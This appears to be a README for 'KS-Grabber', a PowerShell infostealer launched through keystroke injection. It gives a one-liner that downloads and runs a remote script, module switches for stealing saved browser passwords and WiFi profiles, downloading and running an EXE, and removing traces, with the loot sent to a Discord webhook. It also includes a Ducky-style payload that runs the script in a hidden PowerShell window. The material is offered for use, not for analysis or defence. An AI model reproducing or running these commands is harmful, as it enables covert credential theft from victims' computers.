KS-Grabber is a keystroke injection grabber that is fully modular and developed with PowerShell. This script allows you to collect information from various sources and send it to a webhook.
Run the following command in PowerShell to execute KS-Grabber:
$hookUrl = '<webhook goes here>'
iex (iwr https://raw.githubusercontent.com/Niximkk/ks-grabber/main/ks-grabber.ps1).content
Before running the script, you need to configure the boolean variables that enable the grabber modules. Open the script and set the following variables:
$gatherPcData = $true <# Gather PC data #>
$gatherWifiProfiles = $true <# Gather WiFi profiles #>
$gatherOpenPorts = $true <# Gather open ports #>
$executeExe = $false <# Execute and EXE File #>
$gatherInstalledSoftware = $true <# Gather installed softwares #>
$gatherBrowserPass = $true <# Gather passwords saved in browsers #>
$removeTraces = $true <# Remove traces #>
You can also change some extra variables according to your preferences regarding the modules:
$keyContentLabel = "Key Content" <# Only if the system is not in en-us or pt-br. #>
$exeUrl = "https://somerandomwebsite.lol/yourfile.exe" <# The EXE file referring to the executeExe function. #>
WARNING: It is mandatory to configure the webhook correctly. Replace the value of the $hookUrl
variable with your webhook:
$hookUrl = "https://discord.com/api/webhooks/wompwomp"
Otherwise, the script will not work!
Here is an example attack using the grabber:
GUI r
DELAY 1000
STRING cmd
ENTER
DELAY 1000
STRING powershell -windowstyle hidden -command "$hookUrl = '<webhook goes here>'; iex (iwr https://raw.githubusercontent.com/Niximkk/ks-grabber/main/ks-grabber.ps1).content"
ENTER